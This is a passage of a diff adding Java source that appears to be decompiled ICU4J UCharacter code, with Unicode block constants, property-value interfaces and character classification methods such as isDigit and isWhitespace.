+    public static final UnicodeBlock SUPPLEMENTARY_PRIVATE_USE_AREA_B = new UnicodeBlock("SUPPLEMENTARY_PRIVATE_USE_AREA_B", 110);
+    
+
+
+
+
+
+    public static final UnicodeBlock LIMBU = new UnicodeBlock("LIMBU", 111);
+    
+
+
+
+    public static final UnicodeBlock TAI_LE = new UnicodeBlock("TAI_LE", 112);
+    
+
+
+
+    public static final UnicodeBlock KHMER_SYMBOLS = new UnicodeBlock("KHMER_SYMBOLS", 113);
+    
+
+
+
+
+    public static final UnicodeBlock PHONETIC_EXTENSIONS = new UnicodeBlock("PHONETIC_EXTENSIONS", 114);
+    
+
+
+
+
+    public static final UnicodeBlock MISCELLANEOUS_SYMBOLS_AND_ARROWS = new UnicodeBlock("MISCELLANEOUS_SYMBOLS_AND_ARROWS", 115);
+    
+
+
+
+
+    public static final UnicodeBlock YIJING_HEXAGRAM_SYMBOLS = new UnicodeBlock("YIJING_HEXAGRAM_SYMBOLS", 116);
+    
+
+
+
+    public static final UnicodeBlock LINEAR_B_SYLLABARY = new UnicodeBlock("LINEAR_B_SYLLABARY", 117);
+    
+
+
+
+    public static final UnicodeBlock LINEAR_B_IDEOGRAMS = new UnicodeBlock("LINEAR_B_IDEOGRAMS", 118);
+    
+
+
+
+    public static final UnicodeBlock AEGEAN_NUMBERS = new UnicodeBlock("AEGEAN_NUMBERS", 119);
+    
+
+
+
+    public static final UnicodeBlock UGARITIC = new UnicodeBlock("UGARITIC", 120);
+    
+
+
+
+    public static final UnicodeBlock SHAVIAN = new UnicodeBlock("SHAVIAN", 121);
+    
+
+
+
+    public static final UnicodeBlock OSMANYA = new UnicodeBlock("OSMANYA", 122);
+    
+
+
+
+    public static final UnicodeBlock CYPRIOT_SYLLABARY = new UnicodeBlock("CYPRIOT_SYLLABARY", 123);
+    
+
+
+
+    public static final UnicodeBlock TAI_XUAN_JING_SYMBOLS = new UnicodeBlock("TAI_XUAN_JING_SYMBOLS", 124);
+    
+
+
+
+
+    public static final UnicodeBlock VARIATION_SELECTORS_SUPPLEMENT = new UnicodeBlock("VARIATION_SELECTORS_SUPPLEMENT", 125);
+    
+
+
+
+
+
+
+    public static final UnicodeBlock ANCIENT_GREEK_MUSICAL_NOTATION = new UnicodeBlock("ANCIENT_GREEK_MUSICAL_NOTATION", 126);
+    
+
+
+
+
+
+    public static final UnicodeBlock ANCIENT_GREEK_NUMBERS = new UnicodeBlock("ANCIENT_GREEK_NUMBERS", 127);
+    
+
+
+
+
+    public static final UnicodeBlock ARABIC_SUPPLEMENT = new UnicodeBlock("ARABIC_SUPPLEMENT", 128);
+    
+
+
+
+
+    public static final UnicodeBlock BUGINESE = new UnicodeBlock("BUGINESE", 129);
+    
+
+
+
+
+    public static final UnicodeBlock CJK_STROKES = new UnicodeBlock("CJK_STROKES", 130);
+    
+
+
+
+
+    public static final UnicodeBlock COMBINING_DIACRITICAL_MARKS_SUPPLEMENT = new UnicodeBlock("COMBINING_DIACRITICAL_MARKS_SUPPLEMENT", 131);
+    
+
+
+
+
+
+    public static final UnicodeBlock COPTIC = new UnicodeBlock("COPTIC", 132);
+    
+
+
+
+    public static final UnicodeBlock ETHIOPIC_EXTENDED = new UnicodeBlock("ETHIOPIC_EXTENDED", 133);
+    
+
+
+
+
+    public static final UnicodeBlock ETHIOPIC_SUPPLEMENT = new UnicodeBlock("ETHIOPIC_SUPPLEMENT", 134);
+    
+
+
+
+
+    public static final UnicodeBlock GEORGIAN_SUPPLEMENT = new UnicodeBlock("GEORGIAN_SUPPLEMENT", 135);
+    
+
+
+
+
+    public static final UnicodeBlock GLAGOLITIC = new UnicodeBlock("GLAGOLITIC", 136);
+    
+
+
+
+
+    public static final UnicodeBlock KHAROSHTHI = new UnicodeBlock("KHAROSHTHI", 137);
+    
+
+
+
+
+    public static final UnicodeBlock MODIFIER_TONE_LETTERS = new UnicodeBlock("MODIFIER_TONE_LETTERS", 138);
+    
+
+
+
+
+    public static final UnicodeBlock NEW_TAI_LUE = new UnicodeBlock("NEW_TAI_LUE", 139);
+    
+
+
+
+
+    public static final UnicodeBlock OLD_PERSIAN = new UnicodeBlock("OLD_PERSIAN", 140);
+    
+
+
+
+
+    public static final UnicodeBlock PHONETIC_EXTENSIONS_SUPPLEMENT = new UnicodeBlock("PHONETIC_EXTENSIONS_SUPPLEMENT", 141);
+    
+
+
+
+
+
+    public static final UnicodeBlock SUPPLEMENTAL_PUNCTUATION = new UnicodeBlock("SUPPLEMENTAL_PUNCTUATION", 142);
+    
+
+
+
+
+    public static final UnicodeBlock SYLOTI_NAGRI = new UnicodeBlock("SYLOTI_NAGRI", 143);
+    
+
+
+
+
+    public static final UnicodeBlock TIFINAGH = new UnicodeBlock("TIFINAGH", 144);
+    
+
+
+
+
+    public static final UnicodeBlock VERTICAL_FORMS = new UnicodeBlock("VERTICAL_FORMS", 145);
+    
+
+
+
+
+    public static final UnicodeBlock NKO = new UnicodeBlock("NKO", 146);
+    
+
+
+    public static final UnicodeBlock BALINESE = new UnicodeBlock("BALINESE", 147);
+    
+
+
+
+    public static final UnicodeBlock LATIN_EXTENDED_C = new UnicodeBlock("LATIN_EXTENDED_C", 148);
+    
+
+
+
+    public static final UnicodeBlock LATIN_EXTENDED_D = new UnicodeBlock("LATIN_EXTENDED_D", 149);
+    
+
+
+
+    public static final UnicodeBlock PHAGS_PA = new UnicodeBlock("PHAGS_PA", 150);
+    
+
+
+
+    public static final UnicodeBlock PHOENICIAN = new UnicodeBlock("PHOENICIAN", 151);
+    
+
+
+
+    public static final UnicodeBlock CUNEIFORM = new UnicodeBlock("CUNEIFORM", 152);
+    
+
+
+
+    public static final UnicodeBlock CUNEIFORM_NUMBERS_AND_PUNCTUATION = new UnicodeBlock("CUNEIFORM_NUMBERS_AND_PUNCTUATION", 153);
+    
+
+
+
+
+    public static final UnicodeBlock COUNTING_ROD_NUMERALS = new UnicodeBlock("COUNTING_ROD_NUMERALS", 154);
+    
+
+
+
+
+    public static final UnicodeBlock SUNDANESE = new UnicodeBlock("SUNDANESE", 155);
+    
+
+
+
+
+    public static final UnicodeBlock LEPCHA = new UnicodeBlock("LEPCHA", 156);
+    
+
+
+
+
+    public static final UnicodeBlock OL_CHIKI = new UnicodeBlock("OL_CHIKI", 157);
+    
+
+
+
+
+    public static final UnicodeBlock CYRILLIC_EXTENDED_A = new UnicodeBlock("CYRILLIC_EXTENDED_A", 158);
+    
+
+
+
+
+    public static final UnicodeBlock VAI = new UnicodeBlock("VAI", 159);
+    
+
+
+
+    public static final UnicodeBlock CYRILLIC_EXTENDED_B = new UnicodeBlock("CYRILLIC_EXTENDED_B", 160);
+    
+
+
+
+
+    public static final UnicodeBlock SAURASHTRA = new UnicodeBlock("SAURASHTRA", 161);
+    
+
+
+
+
+    public static final UnicodeBlock KAYAH_LI = new UnicodeBlock("KAYAH_LI", 162);
+    
+
+
+
+
+    public static final UnicodeBlock REJANG = new UnicodeBlock("REJANG", 163);
+    
+
+
+
+
+    public static final UnicodeBlock CHAM = new UnicodeBlock("CHAM", 164);
+    
+
+
+
+
+    public static final UnicodeBlock ANCIENT_SYMBOLS = new UnicodeBlock("ANCIENT_SYMBOLS", 165);
+    
+
+
+
+
+    public static final UnicodeBlock PHAISTOS_DISC = new UnicodeBlock("PHAISTOS_DISC", 166);
+    
+
+
+
+
+    public static final UnicodeBlock LYCIAN = new UnicodeBlock("LYCIAN", 167);
+    
+
+
+
+
+    public static final UnicodeBlock CARIAN = new UnicodeBlock("CARIAN", 168);
+    
+
+
+
+
+    public static final UnicodeBlock LYDIAN = new UnicodeBlock("LYDIAN", 169);
+    
+
+
+
+
+    public static final UnicodeBlock MAHJONG_TILES = new UnicodeBlock("MAHJONG_TILES", 170);
+    
+
+
+
+
+    public static final UnicodeBlock DOMINO_TILES = new UnicodeBlock("DOMINO_TILES", 171);
+    
+
+
+
+
+    public static final UnicodeBlock SAMARITAN = new UnicodeBlock("SAMARITAN", 172);
+    
+
+    public static final UnicodeBlock UNIFIED_CANADIAN_ABORIGINAL_SYLLABICS_EXTENDED = new UnicodeBlock("UNIFIED_CANADIAN_ABORIGINAL_SYLLABICS_EXTENDED", 173);
+    
+
+
+    public static final UnicodeBlock TAI_THAM = new UnicodeBlock("TAI_THAM", 174);
+    
+
+    public static final UnicodeBlock VEDIC_EXTENSIONS = new UnicodeBlock("VEDIC_EXTENSIONS", 175);
+    
+
+    public static final UnicodeBlock LISU = new UnicodeBlock("LISU", 176);
+    
+
+    public static final UnicodeBlock BAMUM = new UnicodeBlock("BAMUM", 177);
+    
+
+    public static final UnicodeBlock COMMON_INDIC_NUMBER_FORMS = new UnicodeBlock("COMMON_INDIC_NUMBER_FORMS", 178);
+    
+
+    public static final UnicodeBlock DEVANAGARI_EXTENDED = new UnicodeBlock("DEVANAGARI_EXTENDED", 179);
+    
+
+    public static final UnicodeBlock HANGUL_JAMO_EXTENDED_A = new UnicodeBlock("HANGUL_JAMO_EXTENDED_A", 180);
+    
+
+    public static final UnicodeBlock JAVANESE = new UnicodeBlock("JAVANESE", 181);
+    
+
+    public static final UnicodeBlock MYANMAR_EXTENDED_A = new UnicodeBlock("MYANMAR_EXTENDED_A", 182);
+    
+
+    public static final UnicodeBlock TAI_VIET = new UnicodeBlock("TAI_VIET", 183);
+    
+
+    public static final UnicodeBlock MEETEI_MAYEK = new UnicodeBlock("MEETEI_MAYEK", 184);
+    
+
+    public static final UnicodeBlock HANGUL_JAMO_EXTENDED_B = new UnicodeBlock("HANGUL_JAMO_EXTENDED_B", 185);
+    
+
+    public static final UnicodeBlock IMPERIAL_ARAMAIC = new UnicodeBlock("IMPERIAL_ARAMAIC", 186);
+    
+
+    public static final UnicodeBlock OLD_SOUTH_ARABIAN = new UnicodeBlock("OLD_SOUTH_ARABIAN", 187);
+    
+
+    public static final UnicodeBlock AVESTAN = new UnicodeBlock("AVESTAN", 188);
+    
+
+    public static final UnicodeBlock INSCRIPTIONAL_PARTHIAN = new UnicodeBlock("INSCRIPTIONAL_PARTHIAN", 189);
+    
+
+    public static final UnicodeBlock INSCRIPTIONAL_PAHLAVI = new UnicodeBlock("INSCRIPTIONAL_PAHLAVI", 190);
+    
+
+    public static final UnicodeBlock OLD_TURKIC = new UnicodeBlock("OLD_TURKIC", 191);
+    
+
+    public static final UnicodeBlock RUMI_NUMERAL_SYMBOLS = new UnicodeBlock("RUMI_NUMERAL_SYMBOLS", 192);
+    
+
+    public static final UnicodeBlock KAITHI = new UnicodeBlock("KAITHI", 193);
+    
+
+    public static final UnicodeBlock EGYPTIAN_HIEROGLYPHS = new UnicodeBlock("EGYPTIAN_HIEROGLYPHS", 194);
+    
+
+    public static final UnicodeBlock ENCLOSED_ALPHANUMERIC_SUPPLEMENT = new UnicodeBlock("ENCLOSED_ALPHANUMERIC_SUPPLEMENT", 195);
+    
+
+
+    public static final UnicodeBlock ENCLOSED_IDEOGRAPHIC_SUPPLEMENT = new UnicodeBlock("ENCLOSED_IDEOGRAPHIC_SUPPLEMENT", 196);
+    
+
+
+    public static final UnicodeBlock CJK_UNIFIED_IDEOGRAPHS_EXTENSION_C = new UnicodeBlock("CJK_UNIFIED_IDEOGRAPHS_EXTENSION_C", 197);
+    
+
+
+
+
+
+    public static final UnicodeBlock MANDAIC = new UnicodeBlock("MANDAIC", 198);
+    
+
+    public static final UnicodeBlock BATAK = new UnicodeBlock("BATAK", 199);
+    
+
+    public static final UnicodeBlock ETHIOPIC_EXTENDED_A = new UnicodeBlock("ETHIOPIC_EXTENDED_A", 200);
+    
+
+    public static final UnicodeBlock BRAHMI = new UnicodeBlock("BRAHMI", 201);
+    
+
+    public static final UnicodeBlock BAMUM_SUPPLEMENT = new UnicodeBlock("BAMUM_SUPPLEMENT", 202);
+    
+
+    public static final UnicodeBlock KANA_SUPPLEMENT = new UnicodeBlock("KANA_SUPPLEMENT", 203);
+    
+
+    public static final UnicodeBlock PLAYING_CARDS = new UnicodeBlock("PLAYING_CARDS", 204);
+    
+
+    public static final UnicodeBlock MISCELLANEOUS_SYMBOLS_AND_PICTOGRAPHS = new UnicodeBlock("MISCELLANEOUS_SYMBOLS_AND_PICTOGRAPHS", 205);
+    
+
+
+    public static final UnicodeBlock EMOTICONS = new UnicodeBlock("EMOTICONS", 206);
+    
+
+    public static final UnicodeBlock TRANSPORT_AND_MAP_SYMBOLS = new UnicodeBlock("TRANSPORT_AND_MAP_SYMBOLS", 207);
+    
+
+    public static final UnicodeBlock ALCHEMICAL_SYMBOLS = new UnicodeBlock("ALCHEMICAL_SYMBOLS", 208);
+    
+
+    public static final UnicodeBlock CJK_UNIFIED_IDEOGRAPHS_EXTENSION_D = new UnicodeBlock("CJK_UNIFIED_IDEOGRAPHS_EXTENSION_D", 209);
+    
+
+
+
+
+
+    public static final UnicodeBlock ARABIC_EXTENDED_A = new UnicodeBlock("ARABIC_EXTENDED_A", 210);
+    
+
+    public static final UnicodeBlock ARABIC_MATHEMATICAL_ALPHABETIC_SYMBOLS = new UnicodeBlock("ARABIC_MATHEMATICAL_ALPHABETIC_SYMBOLS", 211);
+    
+
+    public static final UnicodeBlock CHAKMA = new UnicodeBlock("CHAKMA", 212);
+    
+    public static final UnicodeBlock MEETEI_MAYEK_EXTENSIONS = new UnicodeBlock("MEETEI_MAYEK_EXTENSIONS", 213);
+    
+
+    public static final UnicodeBlock MEROITIC_CURSIVE = new UnicodeBlock("MEROITIC_CURSIVE", 214);
+    
+
+    public static final UnicodeBlock MEROITIC_HIEROGLYPHS = new UnicodeBlock("MEROITIC_HIEROGLYPHS", 215);
+    
+
+    public static final UnicodeBlock MIAO = new UnicodeBlock("MIAO", 216);
+    
+    public static final UnicodeBlock SHARADA = new UnicodeBlock("SHARADA", 217);
+    
+    public static final UnicodeBlock SORA_SOMPENG = new UnicodeBlock("SORA_SOMPENG", 218);
+    
+
+    public static final UnicodeBlock SUNDANESE_SUPPLEMENT = new UnicodeBlock("SUNDANESE_SUPPLEMENT", 219);
+    
+
+    public static final UnicodeBlock TAKRI = new UnicodeBlock("TAKRI", 220);
+    
+
+
+
+    public static final UnicodeBlock INVALID_CODE = new UnicodeBlock("INVALID_CODE", -1);
+    private static SoftReference<Map<String, UnicodeBlock>> mref;
+    private int m_id_;
+    
+    static { for (int blockId = 0; blockId < 221; blockId++) {
+        if (BLOCKS_[blockId] == null) {
+          throw new IllegalStateException("UnicodeBlock.BLOCKS_[" + blockId + "] not initialized");
+        }
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    public static UnicodeBlock getInstance(int id)
+    {
+      if ((id >= 0) && (id < BLOCKS_.length)) {
+        return BLOCKS_[id];
+      }
+      return INVALID_CODE;
+    }
+    
+
+
+
+
+
+
+
+    public static UnicodeBlock of(int ch)
+    {
+      if (ch > 1114111) {
+        return INVALID_CODE;
+      }
+      
+      return getInstance(UCharacterProperty.INSTANCE.getIntPropertyValue(ch, 4097));
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    public static final UnicodeBlock forName(String blockName)
+    {
+      Map<String, UnicodeBlock> m = null;
+      if (mref != null) {
+        m = (Map)mref.get();
+      }
+      if (m == null) {
+        m = new HashMap(BLOCKS_.length);
+        for (int i = 0; i < BLOCKS_.length; i++) {
+          UnicodeBlock b = BLOCKS_[i];
+          String name = trimBlockName(UCharacter.getPropertyValueName(4097, b.getID(), 1));
+          
+
+          m.put(name, b);
+        }
+        mref = new SoftReference(m);
+      }
+      UnicodeBlock b = (UnicodeBlock)m.get(trimBlockName(blockName));
+      if (b == null) {
+        throw new IllegalArgumentException();
+      }
+      return b;
+    }
+    
+    private static String trimBlockName(String name)
+    {
+      String upper = name.toUpperCase(Locale.ENGLISH);
+      StringBuilder result = new StringBuilder(upper.length());
+      for (int i = 0; i < upper.length(); i++) {
+        char c = upper.charAt(i);
+        if ((c != ' ') && (c != '_') && (c != '-')) {
+          result.append(c);
+        }
+      }
+      return result.toString();
+    }
+    
+
+
+
+
+
+    public int getID()
+    {
+      return m_id_;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    private UnicodeBlock(String name, int id)
+    {
+      super();
+      m_id_ = id;
+      if (id >= 0) {
+        BLOCKS_[id] = this;
+      }
+    }
+  }
+  
+
+
+
+
+  public static abstract interface EastAsianWidth
+  {
+    public static final int NEUTRAL = 0;
+    
+
+
+
+    public static final int AMBIGUOUS = 1;
+    
+
+
+
+    public static final int HALFWIDTH = 2;
+    
+
+
+
+    public static final int FULLWIDTH = 3;
+    
+
+
+
+    public static final int NARROW = 4;
+    
+
+
+
+    public static final int WIDE = 5;
+    
+
+
+
+    public static final int COUNT = 6;
+  }
+  
+
+
+
+
+  public static abstract interface DecompositionType
+  {
+    public static final int NONE = 0;
+    
+
+
+
+    public static final int CANONICAL = 1;
+    
+
+
+
+    public static final int COMPAT = 2;
+    
+
+
+
+    public static final int CIRCLE = 3;
+    
+
+
+
+    public static final int FINAL = 4;
+    
+
+
+
+    public static final int FONT = 5;
+    
+
+
+
+    public static final int FRACTION = 6;
+    
+
+
+
+    public static final int INITIAL = 7;
+    
+
+
+
+    public static final int ISOLATED = 8;
+    
+
+
+
+    public static final int MEDIAL = 9;
+    
+
+
+
+    public static final int NARROW = 10;
+    
+
+
+
+    public static final int NOBREAK = 11;
+    
+
+
+
+    public static final int SMALL = 12;
+    
+
+
+
+    public static final int SQUARE = 13;
+    
+
+
+
+    public static final int SUB = 14;
+    
+
+
+
+    public static final int SUPER = 15;
+    
+
+
+
+    public static final int VERTICAL = 16;
+    
+
+
+
+    public static final int WIDE = 17;
+    
+
+
+
+    public static final int COUNT = 18;
+  }
+  
+
+
+
+
+  public static abstract interface JoiningType
+  {
+    public static final int NON_JOINING = 0;
+    
+
+
+
+    public static final int JOIN_CAUSING = 1;
+    
+
+
+
+    public static final int DUAL_JOINING = 2;
+    
+
+
+
+    public static final int LEFT_JOINING = 3;
+    
+
+
+
+    public static final int RIGHT_JOINING = 4;
+    
+
+
+
+    public static final int TRANSPARENT = 5;
+    
+
+
+
+    public static final int COUNT = 6;
+  }
+  
+
+
+
+
+  public static abstract interface JoiningGroup
+  {
+    public static final int NO_JOINING_GROUP = 0;
+    
+
+
+
+    public static final int AIN = 1;
+    
+
+
+
+    public static final int ALAPH = 2;
+    
+
+
+
+    public static final int ALEF = 3;
+    
+
+
+
+    public static final int BEH = 4;
+    
+
+
+
+    public static final int BETH = 5;
+    
+
+
+
+    public static final int DAL = 6;
+    
+
+
+
+    public static final int DALATH_RISH = 7;
+    
+
+
+
+    public static final int E = 8;
+    
+
+
+
+    public static final int FEH = 9;
+    
+
+
+
+    public static final int FINAL_SEMKATH = 10;
+    
+
+
+
+    public static final int GAF = 11;
+    
+
+
+
+    public static final int GAMAL = 12;
+    
+
+
+
+    public static final int HAH = 13;
+    
+
+
+
+    public static final int TEH_MARBUTA_GOAL = 14;
+    
+
+
+
+    public static final int HAMZA_ON_HEH_GOAL = 14;
+    
+
+
+
+    public static final int HE = 15;
+    
+
+
+
+    public static final int HEH = 16;
+    
+
+
+
+    public static final int HEH_GOAL = 17;
+    
+
+
+
+    public static final int HETH = 18;
+    
+
+
+
+    public static final int KAF = 19;
+    
+
+
+
+    public static final int KAPH = 20;
+    
+
+
+
+    public static final int KNOTTED_HEH = 21;
+    
+
+
+
+    public static final int LAM = 22;
+    
+
+
+
+    public static final int LAMADH = 23;
+    
+
+
+
+    public static final int MEEM = 24;
+    
+
+
+
+    public static final int MIM = 25;
+    
+
+
+
+    public static final int NOON = 26;
+    
+
+
+
+    public static final int NUN = 27;
+    
+
+
+
+    public static final int PE = 28;
+    
+
+
+
+    public static final int QAF = 29;
+    
+
+
+
+    public static final int QAPH = 30;
+    
+
+
+
+    public static final int REH = 31;
+    
+
+
+
+    public static final int REVERSED_PE = 32;
+    
+
+
+
+    public static final int SAD = 33;
+    
+
+
+
+    public static final int SADHE = 34;
+    
+
+
+
+    public static final int SEEN = 35;
+    
+
+
+
+    public static final int SEMKATH = 36;
+    
+
+
+
+    public static final int SHIN = 37;
+    
+
+
+
+    public static final int SWASH_KAF = 38;
+    
+
+
+
+    public static final int SYRIAC_WAW = 39;
+    
+
+
+
+    public static final int TAH = 40;
+    
+
+
+
+    public static final int TAW = 41;
+    
+
+
+
+    public static final int TEH_MARBUTA = 42;
+    
+
+
+
+    public static final int TETH = 43;
+    
+
+
+
+    public static final int WAW = 44;
+    
+
+
+
+    public static final int YEH = 45;
+    
+
+
+
+    public static final int YEH_BARREE = 46;
+    
+
+
+
+    public static final int YEH_WITH_TAIL = 47;
+    
+
+
+
+    public static final int YUDH = 48;
+    
+
+
+
+    public static final int YUDH_HE = 49;
+    
+
+
+
+    public static final int ZAIN = 50;
+    
+
+
+
+    public static final int FE = 51;
+    
+
+
+
+    public static final int KHAPH = 52;
+    
+
+
+
+    public static final int ZHAIN = 53;
+    
+
+
+
+    public static final int BURUSHASKI_YEH_BARREE = 54;
+    
+
+
+
+    public static final int FARSI_YEH = 55;
+    
+
+
+
+    public static final int NYA = 56;
+    
+
+
+
+    public static final int ROHINGYA_YEH = 57;
+    
+
+
+
+    public static final int COUNT = 58;
+  }
+  
+
+
+
+
+  public static abstract interface GraphemeClusterBreak
+  {
+    public static final int OTHER = 0;
+    
+
+
+
+    public static final int CONTROL = 1;
+    
+
+
+
+    public static final int CR = 2;
+    
+
+
+
+    public static final int EXTEND = 3;
+    
+
+
+
+    public static final int L = 4;
+    
+
+
+
+    public static final int LF = 5;
+    
+
+
+
+    public static final int LV = 6;
+    
+
+
+
+    public static final int LVT = 7;
+    
+
+
+
+    public static final int T = 8;
+    
+
+
+
+    public static final int V = 9;
+    
+
+
+
+    public static final int SPACING_MARK = 10;
+    
+
+
+
+    public static final int PREPEND = 11;
+    
+
+
+
+    public static final int REGIONAL_INDICATOR = 12;
+    
+
+
+
+    public static final int COUNT = 13;
+  }
+  
+
+
+
+
+  public static abstract interface WordBreak
+  {
+    public static final int OTHER = 0;
+    
+
+
+
+    public static final int ALETTER = 1;
+    
+
+
+
+    public static final int FORMAT = 2;
+    
+
+
+
+    public static final int KATAKANA = 3;
+    
+
+
+
+    public static final int MIDLETTER = 4;
+    
+
+
+
+    public static final int MIDNUM = 5;
+    
+
+
+
+    public static final int NUMERIC = 6;
+    
+
+
+
+    public static final int EXTENDNUMLET = 7;
+    
+
+
+
+    public static final int CR = 8;
+    
+
+
+
+    public static final int EXTEND = 9;
+    
+
+
+
+    public static final int LF = 10;
+    
+
+
+
+    public static final int MIDNUMLET = 11;
+    
+
+
+
+    public static final int NEWLINE = 12;
+    
+
+
+
+    public static final int REGIONAL_INDICATOR = 13;
+    
+
+
+
+    public static final int COUNT = 14;
+  }
+  
+
+
+
+
+  public static abstract interface SentenceBreak
+  {
+    public static final int OTHER = 0;
+    
+
+
+
+    public static final int ATERM = 1;
+    
+
+
+
+    public static final int CLOSE = 2;
+    
+
+
+
+    public static final int FORMAT = 3;
+    
+
+
+
+    public static final int LOWER = 4;
+    
+
+
+
+    public static final int NUMERIC = 5;
+    
+
+
+
+    public static final int OLETTER = 6;
+    
+
+
+
+    public static final int SEP = 7;
+    
+
+
+
+    public static final int SP = 8;
+    
+
+
+
+    public static final int STERM = 9;
+    
+
+
+
+    public static final int UPPER = 10;
+    
+
+
+
+    public static final int CR = 11;
+    
+
+
+
+    public static final int EXTEND = 12;
+    
+
+
+
+    public static final int LF = 13;
+    
+
+
+
+    public static final int SCONTINUE = 14;
+    
+
+
+
+    public static final int COUNT = 15;
+  }
+  
+
+
+
+
+  public static abstract interface LineBreak
+  {
+    public static final int UNKNOWN = 0;
+    
+
+
+
+    public static final int AMBIGUOUS = 1;
+    
+
+
+
+    public static final int ALPHABETIC = 2;
+    
+
+
+
+    public static final int BREAK_BOTH = 3;
+    
+
+
+
+    public static final int BREAK_AFTER = 4;
+    
+
+
+
+    public static final int BREAK_BEFORE = 5;
+    
+
+
+
+    public static final int MANDATORY_BREAK = 6;
+    
+
+
+
+    public static final int CONTINGENT_BREAK = 7;
+    
+
+
+
+    public static final int CLOSE_PUNCTUATION = 8;
+    
+
+
+
+    public static final int COMBINING_MARK = 9;
+    
+
+
+
+    public static final int CARRIAGE_RETURN = 10;
+    
+
+
+
+    public static final int EXCLAMATION = 11;
+    
+
+
+
+    public static final int GLUE = 12;
+    
+
+
+
+    public static final int HYPHEN = 13;
+    
+
+
+
+    public static final int IDEOGRAPHIC = 14;
+    
+
+
+
+    public static final int INSEPERABLE = 15;
+    
+
+
+
+    public static final int INSEPARABLE = 15;
+    
+
+
+
+    public static final int INFIX_NUMERIC = 16;
+    
+
+
+
+    public static final int LINE_FEED = 17;
+    
+
+
+
+    public static final int NONSTARTER = 18;
+    
+
+
+
+    public static final int NUMERIC = 19;
+    
+
+
+
+    public static final int OPEN_PUNCTUATION = 20;
+    
+
+
+
+    public static final int POSTFIX_NUMERIC = 21;
+    
+
+
+
+    public static final int PREFIX_NUMERIC = 22;
+    
+
+
+
+    public static final int QUOTATION = 23;
+    
+
+
+
+    public static final int COMPLEX_CONTEXT = 24;
+    
+
+
+
+    public static final int SURROGATE = 25;
+    
+
+
+
+    public static final int SPACE = 26;
+    
+
+
+
+    public static final int BREAK_SYMBOLS = 27;
+    
+
+
+
+    public static final int ZWSPACE = 28;
+    
+
+
+
+    public static final int NEXT_LINE = 29;
+    
+
+
+
+    public static final int WORD_JOINER = 30;
+    
+
+
+
+    public static final int H2 = 31;
+    
+
+
+    public static final int H3 = 32;
+    
+
+
+    public static final int JL = 33;
+    
+
+
+    public static final int JT = 34;
+    
+
+
+    public static final int JV = 35;
+    
+
+
+    public static final int CLOSE_PARENTHESIS = 36;
+    
+
+
+    public static final int CONDITIONAL_JAPANESE_STARTER = 37;
+    
+
+
+    public static final int HEBREW_LETTER = 38;
+    
+
+
+    public static final int REGIONAL_INDICATOR = 39;
+    
+
+
+    public static final int COUNT = 40;
+  }
+  
+
+
+
+  public static abstract interface NumericType
+  {
+    public static final int NONE = 0;
+    
+
+
+    public static final int DECIMAL = 1;
+    
+
+
+    public static final int DIGIT = 2;
+    
+
+
+    public static final int NUMERIC = 3;
+    
+
+
+    public static final int COUNT = 4;
+  }
+  
+
+
+
+  public static int digit(int ch, int radix)
+  {
+    if ((2 <= radix) && (radix <= 36)) {
+      int value = digit(ch);
+      if (value < 0)
+      {
+        value = UCharacterProperty.getEuropeanDigit(ch);
+      }
+      return value < radix ? value : -1;
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int digit(int ch)
+  {
+    return UCharacterProperty.INSTANCE.digit(ch);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int getNumericValue(int ch)
+  {
+    return UCharacterProperty.INSTANCE.getNumericValue(ch);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static double getUnicodeNumericValue(int ch)
+  {
+    return UCharacterProperty.INSTANCE.getUnicodeNumericValue(ch);
+  }
+  
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static boolean isSpace(int ch)
+  {
+    return (ch <= 32) && ((ch == 32) || (ch == 9) || (ch == 10) || (ch == 12) || (ch == 13));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int getType(int ch)
+  {
+    return UCharacterProperty.INSTANCE.getType(ch);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean isDefined(int ch)
+  {
+    return getType(ch) != 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean isDigit(int ch)
+  {
+    return getType(ch) == 9;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static boolean isISOControl(int ch)
+  {
+    return (ch >= 0) && (ch <= 159) && ((ch <= 31) || (ch >= 127));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static boolean isLetter(int ch)
+  {
+    return (1 << getType(ch) & 0x3E) != 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean isLetterOrDigit(int ch)
+  {
+    return (1 << getType(ch) & 0x23E) != 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static boolean isJavaLetter(int cp)
+  {
+    return isJavaIdentifierStart(cp);
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static boolean isJavaLetterOrDigit(int cp)
+  {
+    return isJavaIdentifierPart(cp);
+  }
+  
+
+
+
+
+
+
+
+  public static boolean isJavaIdentifierStart(int cp)
+  {
+    return Character.isJavaIdentifierStart((char)cp);
+  }
+  
+
+
+
+
+
+
+
+  public static boolean isJavaIdentifierPart(int cp)
+  {
+    return Character.isJavaIdentifierPart((char)cp);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean isLowerCase(int ch)
+  {
+    return getType(ch) == 2;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean isWhitespace(int ch)
+  {
+    return (((1 << getType(ch) & 0x7000) != 0) && (ch != 160) && (ch != 8199) && (ch != 8239)) || ((ch >= 9) && (ch <= 13)) || ((ch >= 28) && (ch <= 31));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean isSpaceChar(int ch)
+  {
+    return (1 << getType(ch) & 0x7000) != 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean isTitleCase(int ch)
+  {
+    return getType(ch) == 3;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
